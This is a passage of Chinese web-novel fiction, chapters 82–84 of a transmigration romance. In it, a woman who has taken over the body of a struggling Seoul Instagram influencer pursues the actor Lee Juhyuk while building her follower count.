刚来到这个世界还没有搞清楚状况。宋玉妍本来想先退出这个复杂的环境，没有找到自己的手包，发软的身体也在提示她体内的酒精还没有代谢完。 跟着服务生的指引，她先去到了洗手间。白嫩的手臂撑在大理石的洗手台上，垂着头，黑色的卷发像是海藻一样散落。 她抬眼几乎要被这张脸蛋上的颜色的给吓一跳，黑色混着绿灰色的烟熏眼影、又粗又长的眼线、膨胀色大块的腮红和过于浓艳的嘴唇。 被这样的妆容遮地完全看不清原本的长相，宋玉妍想了一下，还是伸手打算把脸上的妆容先卸干净。 不然顶着这样的一张脸出去容易吓到人，水龙头的水流声也隔绝不了外面的电子舞曲。 丝丝水珠溅到了台面上，还算好闻的熏香、简约金属边下准备好的漱口液、牙线、旁边戴森的烘干机，无一不是在表明这件酒吧定位高端的事实。 宋玉妍抬起头，努力这么久，发现脸上的妆容只卸干净了一半，脑袋倒是清醒了一点。她把手放到洗手液下面，迟疑了一瞬间，看到镜子里黑色的眼线已经和腮红混合上了，还是选择把洗手液打出泡沫上脸。 等洗完脸之后，脸上除了干绷之外没有其他的异样，这张的全貌露出来了。 镜中人的长相极其优越，年轻嫩到能够掐出水的皮肤，标准的心形脸加上似笑非嗔的狐狸眼。眼尾微微上挑，眼波流转间是撩人而不自知的妩媚。 「宿主这一次我没有抢到财阀大小姐的身份，对不起，呜呜呜呜……」 它还有脸哭了，宋玉妍对着镜子勾起自己充满肉感的微笑唇，像是在安抚系统。「没关系的，我们下次努力嘛，你先和我介绍一下原主的情况，等回家之后我再接受完整的记忆。」 「原主也叫宋玉妍，目前是ins上的一个小网红。因为比较糊所以和朋友今天一起来蹭卡，看能不能结识一下名气大的名人，这样可以获得一点曝光。」 糊吗？ 宋玉妍看着身上黑色的范思哲流苏吊带碎钻裙，有些疑惑，这条裙子不便宜吧。 「宿主，这件是高仿。」 又看了下脚下踩着的高跟鞋，这可是jimchoo的黑色丝绸缎面款，脚感还不错。 「宿主，这是原身分了36期拿下的。」 那手上的梵克雅宝的玫瑰金红玉髓四叶草手链？耳朵上的耳钉也是同款。 「宿主，这是一些被原主容貌钓着的冤大头买的。」 她有些无语了，这原主不是活得挺好的吗？这要她过来干什么？ 「原主的信用卡快要还不上了，所以……」 宋玉妍懂了，欠完网贷跑路了。南韩的年轻人就是这点不好，崇拜奢侈品，喜欢超前消费。她深深吸了一口气，想要平复一下大起大落的心情。 「所以原主的愿望是什么？」 「想要成为ins有影响力的网红。粉丝数的话……500万以上。」 整个南韩5000万人，她居然想粉丝数500万，占总人数的十分之一，她可真敢想。 行吧，宋玉妍刚走出洗手间想要随机抓一个冤大头借打车费回去，然后就被一个女人抓住了手臂。 “你怎么回事，我去点杯酒的功夫你人就不见了，手包放我这也不要了？” 「这位是原 主的“好闺蜜”崔顺喜，也是她带原主来这里的。」 宋玉妍打量着这位闺蜜，她脸上的妆容和之前的原身一样，都是哥特暗黑烟熏风。 “你怎么把妆给卸了，你不知道你今天这个局是GD组起来的吗？他最近喜欢这个风格的女伴，我们蹭上他的名气后ins关注肯定会变多。” 宋玉妍看着开始做梦的朋友，心底有些无奈，脸上还是认真地注视着她。“可能是新的化妆品有些过敏，我就先卸了。” 顶着那样的一张脸是不可能的，她接过自己的手包，看到里面新款的iphoneX，有些惊讶于原主的生活质量。 不由分说，崔顺喜就把她拉上二楼的一个包间了，这里的音乐声比下面要好一些。室内的依旧很是昏暗的，最中心的位置上是今天的主角GD，银发很是引人注目。 坐在角落里的宋玉妍看了一眼就没有兴趣了，反而是旁边的崔顺喜恨铁不成钢。 “今天来的大多都是yg家的男爱豆，我可是费了九牛二虎之力才带你蹭进来的。”她的算盘打得很好，这位“闺蜜”长相不错，蹭上大势爱豆的流量之后，她再蹭“闺蜜”的流量。 宋玉妍又抬头看了一眼这个时侯注意到GD旁边的那位，长相是南韩独一份的锐利。她几乎和这位没有过交集，没想到线下看比镜头前更引人注目。 “你不知道，GD可是登顶的爱豆，和他传个绯闻，至少明天韩世趋都会有你的一席之地……” “嗯嗯嗯。”她拿着酒杯，敷衍着对方。有一滴酒液黏在嘴角，她伸出小舌轻轻舔了一下。 「系统，李株赫是这次的攻略对象吗？」 得到了肯定的答复之后，宋玉妍视线再一次扫过去了，这次更加认真地打量着对方。 他带着一顶线帽，把头发和优越的额头都藏了进去。挺直的鼻背就算在昏暗的环境里依旧量感十足，像是要把明暗的分界线割开。深邃的眉骨下是短圆眼，给他攻击性强的五官增添了一份稚气的无辜感。 李株赫15年出演过《夜行书生》，他在其中扮演的白毛鬼压着男女主出圈。就算南韩不吃他这一挂的长相，但不得不承认他的长相就是独一份地受受时尚圈的喜爱。 宋玉妍又默默地喝了一口酒，轻轻侧过头问崔顺喜，“要过去和GD他们一起喝一杯吗？” 看着自家“闺蜜”就算是素颜依旧浓艳立体的五官，她怵然，心底打起来退堂鼓。“要不我还是不去了，就你一个人去吧！” 那好吧，宋玉妍耸了耸肩，自己端起酒杯直接过去。扭动间，姣好的身材被包裹地曲线毕露，裙摆的流苏荡起，又落在白皙的腿间。 崔顺喜看着她曼妙的背影、光滑如玉一样的背部，一口气泄了，如果她也有这样的名品美貌和身材她也会鼓起勇气直接去搭讪。 拿着酒杯的女人穿过拥挤的缝隙中，旁边人的目光都落在她身上。以这位的外貌，如果是圈子里的怎么会寂寂无名呢？ 他们看了看宋玉妍又看了看李株赫，这两位的长相都是艳丽那一挂的，南韩少见的秾丽精致。 穿过大半个房间后，她举着酒杯来到这局的主人面前，“GDxi，今天的派对我很喜欢，作为感谢想要和你喝一杯。” 宋玉妍随手把头发撩到耳侧，话虽然是对着权至龙说的，视线却有意无意地看向李株赫。 甜腻又刻意的声音，句尾像是带着钩子一样，透露着一股撒娇的意味。 本来在和朋友交谈的权至龙饶有意味地抬头，瞥了眼长相，看到不是自己的菜后眼底的兴味收敛了起来。但他还是礼貌性地举起酒杯，和人碰了一下杯。 “不用谢，玩的开心就好。”说完他把头转过去继续和太阳一起聊天。 喝完酒之后，宋玉妍有些上脸，酒晕浮到了脸颊上，双眼有些迷离。裸露出来的皮肤晕出来一点点绯色，加上眼尾的薄红显得更加妩媚动人。 她伸出细长、白腻的手指，指了指李株赫另一侧的座位，对着那位不知名的男爱豆说道：“我能坐这里醒醒酒吗？” “当然！” 她一个眼波过来，对上那双妩媚多情的眼睛，对方就难以招架，直接把位置给她让了出来。 等坐到李株赫的旁边，宋玉妍贴得很近，对方稍微动一动腿就能蹭到她的肌肤。她主动挑起话题，“李株赫xi是在看什么呀？” 靠得越近他身上雪松、香根草和橡木的味道就更浓，木质的香调在这个室内显得十分清新，让人忍不住靠得更近了。 这样的一个大美人坐到旁边，他眼风都不给一个的吗？居然还继续看着手机！ 他把帽子拉的更低的，几乎要遮掩住半个眼睛，拒绝交谈的意思很是明显。 宋玉妍决定先打直球，“李株赫xi，我是你的粉丝，很喜欢出演的剧集，要不要交换一下联系方式？” 像是这样的话听得太多了，虽然手上的手机放下了，男人有些不耐地撩起眼皮。黑暗给他的脸镀上一层朦胧的感觉，被那双眼睛注视时，给人一种被深爱着的错觉。 他笑了，嘴角的幅度很小，侧头看着宋玉妍时，锐利的五官放大了攻击性。“是吗？看过我哪些作品？” 宋玉妍在脑海里疯狂回忆，就是想不起对方的作品，零零碎碎记忆几乎都是关于杂志硬照的。 对不起，但是对方作为一个演员，没有作品给她留下过印象。 看到她一是语塞的模样，李株赫那能不知道这是她想要拉进关系的托辞。当即把手机屏幕往下扣着，抱着手臂，拒绝的意味很是明显。 第82章 第八十二章 “李株赫xi，我们可以变得亲近起来吗？我想叫你欧巴可以吗？” 她的声音很甜，不是知道是天生的，还是刻意的，像是夏日里的荔枝汁，甜腻但是不让人讨厌。 “不可以哦，我的kkt里不加没有看过我作品的人。”他还是双手抱臂，衬衫被他的肌肉撑起一个明显的弧度。 一开口，散漫慵懒的低音炮让人忍不住沉醉其中。就算是委婉地拒绝，声音也让宋玉妍也听得耳尖发麻。 行吧，她撇了撇嘴，被拒绝也不见丝毫尴尬，不给就不给咯。她端着自己已经空了的酒杯，回到原来的座位上。 饭要一口一口吃，而宋玉妍有的是耐性。 一路上有人想要和她交换联系方式，她看起来脾气很好的样子，脸上一直挂着的甜笑，弱化了眉眼间的攻击性。她对每一位都来者不拒，互相交换了ins。 等人走后，GD揽着李株赫的肩膀，“这样的长相都看不上？还念着那位呢？” 听到亲故的打趣，他就像是被逆着毛摸了的猫。动了动自己的手臂，把线帽往上扶了扶，不经意地让权至龙的胳膊滑下去。 “阿尼，我后面又不是没有和人交往过。” “我都没有说是谁，你就一口否认，还说不是在想她。”权至龙一脸不信任的表情，金珉喜可是这位的白月光啊！当初被分手之后认真健身、改变形象的人是谁？ 李株赫借着墨色往宋玉妍那边看，她拿着酒杯不知道朋友在说些什么，然后又笑语盈盈地和yg家另一个男团成员拍了张合照。 这两位才不像呢？金珉喜就像是一团雾，你以为握在手上，但不知道什么时候会散。宋玉妍不一样，她像是一团跳动的火焰，野心明明白白写在脸上。 等宋闵昊一起拍完合照走了之后，蹭到照片的崔顺喜抱着她的手臂，“大发，这位也是一线团的成员啊！你到时候把合照也发我一份。” “等我发完再说吧！”宋玉妍坐在角落，撩了撩头发之后又和崔顺喜继续拍照。她很会找角度，不但把自己的脸最完美的角度露了出来，顺便“不经意”地拍到了桌上昂贵的唐培里侬。 然后再超绝不经意地，把GD最近标志性的银发背影给拍了进去。 李株赫被她这莫名其 妙，拿着手机到处拍的操作给逗笑了一下，嘴角尖利的虎牙露出了来。 他的手指不知不觉点到了ins里，看到眼熟的一个男爱豆新关注了一位，不知不觉中点进那位ID为S＿yuon的帐户里。 看着照片上的脸再看了远处的宋玉妍，李株赫陷入了怀疑。这是刚刚那位搭讪的？脸型都不一样。 这个里面的日常，和其他网红没有什么区别。大多都是街拍、高档餐厅打卡、不经意间秀名牌，他稍微翻了翻就没了兴趣。 看到有人凑近，李株赫重新把手机倒扣在桌上，拿起酒杯和人碰了一杯，在心底微微叹了口气，这种花蛇他见得多了。 她们大多数都打扮精致，游走在各大酒吧、派对、私人聚会里，用自己的漂亮脸蛋去攫取金钱、名气。 这边宋玉妍看到两天更新的素材够了，连忙催着崔顺喜离开。 当网红也不是一件轻松的事情，要保持日更，这样粉丝才会有黏性。 崔顺喜正和新加的男爱豆聊的火热，结果就被“闺蜜”扯到了酒吧门外。 离开了里面火热的气氛，夜风一吹，宋玉妍抱着起了鸡皮疙瘩的手臂打了一个哆嗦。 “我刚和人互换了联系方式，你这么就把我扯走了？这样的局我们很难来的！”她不满地抱怨道。 宋玉妍朝她翻了个白眼，她这是性缘脑发作了，想和那个糊豆晚上来一段。 她抱着手臂不屑地说道：“欧尼，你清醒一点好吗？你ins粉丝1.2万，那个糊豆也才4000，说不定他还要蹭你热度。糊咖和糊咖互相取暖？和他搅在一起，你是想糊作一团吗？” 听到“闺蜜”这番话，崔顺喜被酒精控制的脑子终于清醒了一点，嘟囔着：“那些一线男爱豆也不一定看得上我们啊。” 简直就是恨铁不成钢，宋玉妍用手点了点她的手机，“今天的ins打卡照拍了吗？商务对接了吗？推广自荐了吗？” “等会我们一起去布帐马车拍点氛围感照片，还没有网红做这个赛道呢！” 年纪轻轻地一天到晚想着谈恋爱怎么行？ “再不济，你就算不和一线爱豆谈恋爱，炒绯闻、蹭名气总会吧！买买同款衣服、配饰，打卡同款餐厅，首尔就这么大。” 崔顺喜：…… 她说的好有道理，自己都没有办法反驳。“那我们明天晚上去吗？今天太晚了，这样的衣服也不太适合。” 宋玉妍上下扫视了她一眼，发现两人今天穿的衣服，确实是不太适合那种烟火气浓的地方。“那也行，你记得穿得自然一点，画一个伪素颜妆，不然去那里会很奇怪。” 等说完她就和人道别，踩着八公分的尖头高跟鞋走了900多米，才找到一条可以打计程车。 黄色的车离开那一圈繁华的街巷，萦绕不散地酒气似乎也随着灯光的暗淡消散了不少。 宋玉妍无视窗外被点亮了的一串串灯光，犹如首尔这座城市正在跳动的脉搏，但再好看的夜景看了这么多次也腻了。 她专心致志地看着晚上新加的ins好友，默默记下了那些粉丝数在10w以下的，准备过两天就给人取关掉。 跟着系统回到原本的公寓，她还算满意地点了点头，一室一厅的布局刚好够她一个人生活。 这里靠近圣水洞，去哪里都很方便，离汉江也很近，偶尔还能下去吹吹风。对面就是sm大厦、狎鸥亭、新沙洞，离娱乐产业发达的地方近是好事。 宋玉妍随手摁开了灯，然后窝到沙发上专注地看着原主的帐号。 ins3.5w粉丝，其中大多都是奇奇怪怪的自拍，也不知道为什么她致力于把自己的脸p成鹅蛋形状，变成南韩最爱的那款清纯小白花。 宋玉妍抚了抚自己狐狸眼上扬的眼尾，在心底感叹原主没有找准赛道啊。反而被人嘲是p图怪，因为她把社交软件上的每一张照片，自己的长相都p得大同小异。 等她把今天晚上拍到的图片发上去之后，就算没有带bigbang的标签，无数vip闻着味就过来了。 「这位姐是谁？怎么好像出现在GD的派对上。」 「别乱蹭哈，我们家正主在准备演唱会呢。」 「那个戴帽子的是李株赫吧，那他旁边的就是权至龙没错了，银发和背影我不可能」 …… 看到人家在她ins下面问，宋玉妍也不直接回应。而是先点赞了一个夸她漂亮的评论，然后再茶里茶气地回复：「去了一个很尊敬的前辈派对，玩得很开心～」 这样的回复倒是让爱豆的粉丝气了个倒仰，爱蹭的见多了，蹭得这么理直气壮的还是第一个。 看到自己帖子下面有人骂，她也不慌张，笑眯眯地贴一片面膜，然后回复崔顺喜的消息。 「欧尼，你别担心了，被骂证明至少有人关注呀！黑红也是红！」 另一边的崔顺喜有些无语，vip的战斗力整个南韩都是有目共睹的。自家“闺蜜”沾上那位，这ins不得给骂销号？ 宋玉妍又顺便把和宋闵昊的合照po了上来，这倒是转移了一部分注意力，因为他的粉丝也过来输出了。 看着ins上涨到5w的粉丝数，她把脸上黏糊糊的面膜液给洗掉。 看着镜子里人，上下羽睫一碰，水珠顺着脸颊滑落到腮边，她拍了拍自己白嫩的脸蛋，“你可一定要火。” 等晚上躺在床上，宋玉妍怎么样都不能入睡，抱着被子烦躁地坐了起来。「系统，这是怎么回事？」 「宿主，这个点……不是原主睡觉的生物钟。」 翻了翻原主的记忆才发现，她原来一直都是晚上混迹于各大夜店，然后和朋友续摊到凌晨5.6点。回来之后睡到下午，一杯冰咖啡续命，化完妆、拍照、修图，然后再继续去夜店。 这样的生活难怪她现在睡不着，皮肤被这么糟蹋只能说是年轻底子好。 第二天她睡到正午才醒来，宋玉妍罕见地失眠了，打了个哈欠后打开冰箱，发现里面除了矿泉水和面膜就没有其他的了。 手机响起铃声，发现是原主的某一个冤大头打来的电话。一位在三星就职的科长，长相中等偏上，是典型的韩男长相，偶然间认识了宋玉妍就和她约会了几次。 “宋玉妍xi，你之前不是说很喜欢宝格丽新出的那套新品吗？我们可以去看一下。” 知道对方喜欢那套首饰很久了，他当上了课长之后攒了一个半月工资，准备带人去买下那套首饰。 听到这话，她心底犹豫了一番，但想到原主半年以来给对方做解语花，嘘寒问暖又充当负面情绪垃圾桶。 拜托！提供情绪价值很累的好不好！宋玉妍只觉得这一切都是她应得的！ 换上棕色的紧身上衣，搭了一件复古的牛仔短裤，脚下是一双同色系的机车靴。整个人的风格从原主酷爱的清纯风，转变成了甜辣系穿搭。 陪自家母亲在新世界逛街的李株赫往旁边的店里瞟了一眼后，就一直在往宝格丽的店里看。 感受到儿子心不在焉的样子后，“你在看什么？” “好像是一个认识的人，但不确定。” 第83章 第八十三章 想到原主因为把ins上的照片p成了南韩最爱的淡颜，后台一堆普信男给她发约会私信，宋玉妍清都清不完，她心底就涌起一阵烦躁。 韩男是怎么做到如此普通又自信的？吸不到女粉，她号算是废掉了。 但看到那一件件璀璨的珠宝，宋玉妍有些心动了。 她灿烂的笑容，卧蚕弯起的很甜蜜，让旁边的李续亨只看着她的侧脸就疯狂心动。 他让sales把之前宋玉妍在ins里说，很喜欢的那个竹节白金钻石蛇镯给拿出来。 手镯被放在托盘里，黑色的丝绒把珠宝衬得更加璀璨。 “你快试试看，不喜欢的话可以换一款。” 宋玉妍弯起漂亮的狐狸眼，秾丽的五官越发明艳了起来，漂亮的惊心动魄。手镯扣在她纤细的手腕上，白皙细腻的 皮肤在碎钻的折射出来的光芒中几欲透明。 她软下声音，“欧巴，你上班那么辛苦还给我买这么贵的礼物，我都没有为你做些什么。”说完像是有些愧疚地垂着头，素白的手指点在手镯上。 “不……不会。我现在升任课长了，每个月的工资差不多能有1200万韩元，这个也不算特别贵。而且之前公司封闭教育的时候，多亏你开解我，不然我都不知道怎么撑下去。” 想到那段痛苦的日子，李续亨的心脏又开始紧缩着痛了。 那段时间和入伍服役的痛苦差不多了。从职员的领带系法到固定的商务礼节，再到攀岩、游泳等运动训练，三星给人重新培训了一遍。 他不想聊这个话题了，“这个手镯你戴真好看，要不要再搭配一个同系列的戒指？” 宋玉妍看到李株赫恰好这个时候进来，旁边那位应该是他的妈妈。 他指着和她手上蛇形首饰一样的款式，“偶妈，你要不要试试这一套？” “白金的不太适合我吧！” “是的，白金色有点轻浮，你更适合k金红宝石那一套。” 李株赫虽然在陪母亲看着图册，但一部分注意力还是被宋玉妍给分了过去。几乎每翻一页的间隔，他都要瞟一眼她。 等sales蹲下在柜台取首饰的空隙，他看到宋玉妍手上的蛇镯的全貌，白金色和她很配。 李株赫的话，句句都像是在点她，宋玉妍咬着贝齿，不断地在心里告诉自己，是她多想了。 转过头来，她唇边漾着的笑，就像是暖风浸染过的，“欧巴，不用了，你现在是课长了，出去和职员聚餐都要你付账，还是不要太破费了。” 宋玉妍脸上满是“善解人意”。 李续亨以为她是不好意思，在她强烈拒绝之后，才只为这一个手镯买单。 提着包好的礼盒和人走出宝格丽的大门时，路过李株赫的时候，她当做不认识一样，继续和自己的男伴交谈。 “欧巴，今天是真的太让你破费了有机会我请你吃饭吧。 听到宋玉妍用慵懒缠绵的声音一声一声地叫着欧巴，李续亨脑袋像是浸泡在烧酒瓶里，晕晕乎乎的。 他只恨自己赚的钱不够多，要是当上部长了，不管是明面上的收入还是其他收入，都会高出一大截。这样就能把宋玉妍喜欢的珠宝都给打包了，而不是像这样攒一个多月的钱才能来逛一次。 “没关系，看你时间空不空闲就好。我先回去加班了，晚上项目还要赶进度。” “内，那欧巴记得好好照顾自己的身体哦，我之前给你买的红参你要定时定点吃哦。” 听到宋玉妍的关心，他的心底滑过一道暖流。孤身来到偌大的首尔打拼，也只有她关心自己过得好不好、会不会生病。 李续亨感动地说道：“你后面喜欢什么记得和我说，我……都给你买。” 普通的奢侈品还好，要是想爱马仕那样的，他就只能更加努力工作，拿到更多奖金才行。 这个时候身后李株赫标志的低音炮响了起来，“偶妈喜欢的话就都买呗，买完这一套再订一套高珠？就一个手镯看起来太单调了，反正又不是买不起，到时候不喜欢了放在家里闲置吧。” 宋玉妍只觉得怒火直充脑门，他是在嘲讽她吗？就连买一个奢侈品手镯都要费尽心思？ 她后槽牙都快咬碎了，齿间呼出一丝气，强行压制着内心的怒火。 她应和了一声李续亨，努力维持着自己的笑容，把人送出了商场。 原身欠了这么久的信用卡还没有暴雷，多亏了这位追求者。 果然，男人爱你才不会在意你拜不拜金，他们只会觉得是自己钱赚的不够多。 踩着小靴子回到宝格丽，把手上系带都没有捂热的礼盒放到柜台上。依旧找刚刚那个sales，“把这个退掉。” 拿着杂志，陪自家母亲试新款的李株赫转过头来看了她一眼。确定了她就是昨晚找他搭讪的那个女人，他在心底感慨首尔真小。 他看着昨天晚上对她表露好感的女性，今天挽着另外一位男人的手出入奢侈品店。靠着撒娇和……动人美貌，轻轻松松拿到价值不菲的礼物，他的心情很复杂，但这无疑是加剧了李株赫对她的第一印象——花蛇。 虽然没有开口，但是眼神不自觉地带出一点情绪来。 等他的母亲跟着sales去vip室试高定珠宝系列，一时间偌大的奢侈品店里只有他们两个人。 头顶的灯光炫目地让人头晕，每一件首饰后面标着的0都能让普通人望而却步。 宋玉妍收好sales拿过来的一摞钞票，还有她眼神里暗含的嘲讽，咬了咬侧唇，只觉得她的眼神和李株赫的一样，让人不适。 那她就借题发挥一下吧，她都这么可怜了，居然还如此苛责。 然后跟随着心意，她走到李株赫面前，“你是对我的做法有什么看法吗？” “莫？”感觉自己受到了无端地指控，他把脸这朝宋玉妍这边转了一点，脸上的惊讶几乎遮不住。 她往前又挪了一步，黑色的马丁机能靴几乎要踩到他一尘不染的切尔西靴鞋尖上。 “从人家给我买礼物的时候，你在对面梅西卡投过来的眼神，穿透了三个展览柜、两块透明玻璃。等我送人家出去的时候，你看着我的时候，眉毛拧的死死。” 她带白金色时，他恰好说白金色轻浮；人家给买单的时候，他又恰好说一个手镯单调；她把前脚刚买完单的礼物后脚来退掉，他嘲讽不屑的眼神就过来了。 宋玉妍很想说服自己是巧合，单昨晚没有睡好加上今天看到伤眼睛的ins私信，这让她怎么都压制不住内心的怒火。 李株赫想了想，他好像是把目光一直放在对方身上。虽然他知道自己是在确认有没有见过对方，但这样的目光对她来说，可能会有些冒犯。 转过头来，他直视着宋玉妍，刚想好好道歉，“米亚内……” “麻烦你收收自己那不屑的目光吧，作为一个演员，你的演技实在是拙劣，连掩饰情绪都不能做得很好。”她上翘的眼睛里满是韫色，脸颊也因为怒气染上了绯色，动怒的风情生动又好看。 但李洙赫无暇欣赏，满脑子都是对方说他演技拙劣。他闭了闭眼，沉下心，唇抿成一条直线，眉心紧蹙。 “我确实是觉得这样的行为不太好，不太认同。但是……”毕竟人家赠送的礼物，说不定就在暗中标注了价格。 宋玉妍像是平静了下来，冷静地就像是在阐述事实。 “济州岛到首尔的江南的距离很远，远到要坐大巴、转轮渡、然后再等家人骑自行车过来接才能到。你去那里应该只做过飞机，所以每个人的生活都不一样。就像刚刚那个手镯，你生下来就能轻而易举地拥有，但是我要到二十二岁才能知道宝格丽是什么。” 她闭了闭眼睛，离得太近让人仿佛能够看到她眼尾细碎的泪珠，若隐若现。 “我也想一生下来就能漫不经心地逛着奢侈品店、吃着高级餐厅。” “你能说自己的目光当时没有所谓的不屑吗？” 李株赫一时语塞，视线朝下，只能看到对方起伏的身躯。这样很不礼貌，他只能继续把视线继续下移，看到那一截柔软，如藕肉一样雪白的腰肢。 撇开头，额前的碎发微微垂下，减弱了脸部锐利线条带来的攻击感。他往后微微退了一点距离。 “切送汗米达。” 宋玉妍低着头，眼尾微微泛红，似乎声音都带上来哭腔。鼻音有些重地说道：“没关系，我早就习惯了，大家对网红就是有各种偏见。” 她把包盖好，走出这家奢侈品店，纤细单薄的身影带着一丝莫名的孤寂。 走出店之后，她才把绷直的肩膀放松，呼出一口气。看来她的演技依旧没有退步，一 秒落泪的技能还在。 李株赫拿着杂志的手收紧，手背上的青筋凸起，就像他此刻不平静的心情。他开始疯狂回想，从自己看宋玉妍第一眼开始，过于赤裸的视线是不是真的不太礼貌。 她的职业是网红，攀比奢侈品的风气本来就比其他的圈子更重。他也处在名利场，怎么会不知道这个圈子的规则？ 等母亲订好珠宝出来后，他把皱着的那页杂志抚平，但无论如何就不能恢复如初。 看着报废了图册，李株赫朝sales不好意思地笑了笑。 母亲已经选好了一套海蓝宝系列的首饰，李株赫掏出卡准备买单。在最后时刻，他修长的手指指了指宋玉妍退掉了那个白金蛇镯。 “那个也一起包起来吧。” 第84章 第八十四章 回到家的宋玉妍把自己的香奈儿经典小羊皮手包，小心翼翼地放进防尘袋里，然后重新归置到柜子里。 这可是唯一的一个正牌包，为了不损坏五金连包都不扣的，她恨不得供起来。 今天的ins照片她已经想好了，就发在宝格丽试戴珠宝的照片。 照片里的女人溢出的矜贵，让人完全看不出她是小渔村出生。精致细腻的肌肤犹如上好的白瓷，对镜自拍里的脸蛋，上比店里面最昂贵的宝石还要光彩夺目。 调了个不太夸张的黑金色滤镜，把全身照、半身照、带着蛇镯的特写都po到自己的主页里。 就是一张照片里面露出了李株赫的半个侧影，这次倒不是她故意要蹭的。实在是因为素材不够多，为了凑九宫格不得不放进去的。 这次的照片一发，宋玉妍的ins评论区倒是比之前要活跃。虽然大多数都是权至龙和宋闵昊的粉丝过来骂她爱蹭的，但她也心满意足了，有流量、能吃饭就行。 宋玉妍看到那些恶评还能笑出声了，实在是因为现在骂人的语句还没有后面那么丰富，网友还没有那么善用比喻、拟人修辞手法。 她精准地在一堆恶评里找到了夸她漂亮的评论，给人点了个赞。然后无视有人问她是不是和李株赫一起去逛街的评论。 让他们猜去吧！ 看到邮箱里面有商务联系她，宋玉妍内心感叹不容易啊。终于有商务推广了。是cilo，韩国本土的一个美妆品牌。 她们家的高光膏、睫毛膏、气垫都很受欢迎，偏偏本应该销售额最高的单品口红，一直不温不火。 他们找宋玉妍做ins推广，也是看中了她唇形很好看。粉嫩又自然丰满的微笑唇，像是花了大价钱打了玻尿酸出来的效果。 这样的唇形，涂上口红很容易引起别人的购物欲。普通的口红涂到她嘴巴上肉感十足，看起来很好亲。唇色浅透着光泽，很好上色。 更重要的是，她的报价并不高，一条推广也才50万韩元。 宋玉妍看了看他们家新出的颜色，大多都适合春夏的浅色系、镜面质地。难怪他们开始着急，夏天都快过去一半了，这个颜色还积压在仓库。且不说口红都是有保质期的，这几个颜色说不定明年就落伍了。 她很想通过最后的浏览量让对方出报价，但是因为粉丝数实在是太少了，完全没有主动权。最后和她们谈好多加一条YouTube的美妆视频，报价翻了一番。 放下电脑的宋玉妍摇了摇头，苦笑了一声，小网红赚钱也不容易。 看起来轻轻松松一百万韩元到手，实则她要负责脚本、拍摄、出镜、剪辑。最后还得给甲方先过目在贴到自己的账号上。 放下手机，她叹了一口气，慢慢来吧，幸好这些设备原主都有。 才放下的手机在沙发上因为振动而动来动去，她划开屏幕一看，是“好闺蜜”的来电。 “宋玉妍xi，今天晚上怎么没有主动打电话一起去江南了？那边新开了一家club，据说很多爱豆艺人都会去的。” 崔顺喜这是主业泡吧副业当网红？主页没有几条推广她是怎么睡得着的？ “你很闲吗？很闲的话明天就帮我拍照吧！今天晚上早点睡。” 宋玉妍刚想继续拒绝她，脑海里面就传来系统的声音，「宿主，我建议你还是去吧，有一个比较好的工作机会！」 她有点不太相信，但还是选择出门，简单地把眼线化得更加上扬，睫毛刷得更加根根分明，口红颜色选了哑光的赤裸棕。 看着镜子里立体艳丽的脸蛋，满意地点了点头，顺便给自己卷了个大波浪。 南韩喜欢清纯小白花管她什么事？宋玉妍才不要放弃自己的长相优势，去讨好他们的审美。 等在门口和崔顺喜汇合的时候，她狐疑地上下打量了宋玉妍一会。 “你今天的妆容风格怎么和之前不太一样了？” “老是化那些清汤寡水的水光肌妆容没意思，当然了工作要求除外。” 两人给门口保安看了身份id，又看了看两人高于平均线的长相后，没有收入场费就让两人进去了。 “你这样也挺好看的，就是难吸粉。”点了杯鸡尾酒，崔顺喜实事求是地说道，她目光在整个一楼扫视了一圈。 宋玉妍耸了耸肩，等自己点的新加坡司令上来之后，拉着人开启拍拍拍模式。化妆不出片，等于没化，网红不就是让人窥探更加精致的一种生活吗？ 这个酒吧像是一个巨大的卡颜局，女生的长相不用说了，就连男生的质量都很不错。 所以当她面前出现一个四十来岁打扮商务的男性时，宋玉妍被吓了一跳。 “你好，我是AC的星探，请问你有兴趣做演员吗？” 他打量着宋玉妍，发现她的优势十分明显，三庭五眼比例正好。而且整张脸都是纯天然的，至于长相过于艳丽也不是什么坏事。电影里的女反派正好合适！ 宋玉妍拨弄着吸管，慵懒地垂着眸，用自己纤细白嫩的手指有一下没一下地搅动着猩红的酒液。 “没兴趣。” “我们老板是忠武路有名的演员，李正宰和郑宇盛你听过吗？”本来笃定她不会拒绝的星探笑容僵在了嘴边。 “不太感兴趣。”做演员多累啊，要消耗自己的情绪，还得赶夜戏。还是网红好，只要拍拍美美的照片，出息出息活动就能赚钱。 “为什么？” “你们公司能把李株赫签下来吗？”宋玉妍话锋一转。 “莫？”星探正打算往皮夹里掏名片，被她这突如其来的询问整得不知所措。 “我想要和他恋爱，同公司的话比较方便，你们把他签下来，我现在就和你们签经济合约。”宋玉妍百无聊赖地卷着自己的头发，上扬的狐狸里满是漫不经心。 就算是这样，很多男人也情不自禁地把视线放到她身上。灯光下的女人肤白如玉，随手撩一撩头发就勾走了很多人的注意，眼波流转间让人想到志怪神话里的九尾狐。 就算不符合大众审美，也不得不承认她身上那股艳丽妩媚的风情是特殊的。 星探更加心动了，他纵横娱乐圈这么久，一双利眼一看，这位独特的气质在圈内虽然吃不太开，但有爆火的潜质。 “为什么想和他恋爱？”星探还是不死心，想换一种方式劝说宋玉妍打消这个天马行空的想法。然后改变主意签约AC，这样他的奖金也能拿得多一些。 “因为他比较帅气。”她把手撑在台面上，支起下巴，认真地回复道。 “我们公司的郑宇盛xi也很帅啊！” 宋玉妍撇了撇嘴，吃过的肉和还没有吃进嘴里的能一样吗？ 像是知道她心底觉得李株赫更加帅气，星探把名片硬塞给她。再强调了一次，“我们公司的郑宇盛也很帅！” 等人走后，楼梯口传来一阵爆笑。李株赫赫然在其中，他把帽檐压低，努力地减少自己的存在感，但还是被宋玉妍发现了踪迹。 “啊哈哈哈，人家还想把你拐去AC，果然名品脸蛋的魅力就是大 啊。” “就是，你才从模特经纪公司把独家合约转到YG不久吧？” 权至龙更加肆无忌惮，看着宋玉妍的脸，踮着脚揽着自家亲故的肩头。“要不你把人拐到YG演员部来，让这张脸做我下个MV的女主角。” 李株赫被人打趣也有些不好意思，但是还是借着昏暗的灯光遮掩，故作镇定地说道：“也许是人家拒绝经纪公司的托词。” 看到人之后，她拿着酒杯过来，脸上的甜笑看得让人心情很好。“李株赫xi，能够一起喝一杯吗？顺便交换一下联系方式。” 他有些意动，但是被周围的好友一句两句地打趣，摁下了那点心思。 面上还是一片冷淡的做派，仿佛刚刚听到的那些话对他来说都不算什么。“不好意思，不太方便，我这边有朋友。” 朋友再一次起哄想把人往宋玉妍那边推。他身材高大，又经常健身，一时间岿然不动。 